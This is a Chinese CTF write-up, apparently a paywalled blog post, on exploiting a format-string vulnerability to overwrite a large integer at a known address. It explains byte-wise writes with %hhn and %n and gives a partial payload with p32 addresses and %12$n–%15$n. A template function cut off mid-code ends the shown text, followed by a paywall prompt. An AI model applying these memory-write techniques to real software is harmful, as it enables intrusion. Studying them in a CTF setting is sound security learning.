格式化字符串漏洞覆盖大数字时,如果选择一次性输出大数字个字节来进行覆盖,会很久很久,或者直接报错中断,所以来搞个攻防世界高手区的题目来总结一下
pwn高手区,实时数据监测这道题,就是格式化字符串漏洞覆盖大数字


题目运行时会直接告诉你key的地址,我们只需要利用imagemagic中的printf利用格式化字符串漏洞来覆盖就行了,但就像刚才说的,直接覆盖时间太久了而且会报错,所以可以想想别的办法
如果我们想覆盖key为0x02223322,那么根据小端存储,在内存中就是\x22 \x33 \x22 \x02,高地址放高位,低地址放低位
在格式化字符串中,%hhn会向某个地址写入单字节,%hn 会向某个地址写入双字节,单字节的用的比较多
在这道题中,要覆盖的地址为0x0804a048,要覆盖的数据为0x02223322,相当于
0x0804a048 \x22
0x0804a049 \x33
0x0804a04a \x22
0x0804a04b \x02
字符串偏移用%p计算出来为12

所以payload构造如下
payload = p32(0x0804a048)+p32(0x0804a049)+p32(0x0804a04a)+p32(0x0804a04b)+b'a'*() + b'%12$n'+b'a'*() + b'%13$n' + b'a'*()+b'%14$n' + b'a'*() + b'%15$n'
很麻烦,但是wiki中给出了一个模板,无论在x86还是x64下都能使用
模板如下
#prev表示前面已输出的字节
#word表示应该输出的字节
#index表示偏移量
def fmt(prev, word, index):
if prev < word:
result
利用格式化字符串漏洞覆盖大数字的技巧与实战

本文介绍了如何利用格式化字符串漏洞高效地覆盖内存中的大数字,通过实例展示了在攻防世界高手区的题目中,如何避免长时间等待或报错,巧妙构造payload。文中提供了一个通用的模板,适用于x86和x64平台,并给出了完整的exploit代码,演示了如何使用pwntools库的fmtstr_payload工具简化利用过程。
最低0.47元/天 解锁文章
1302





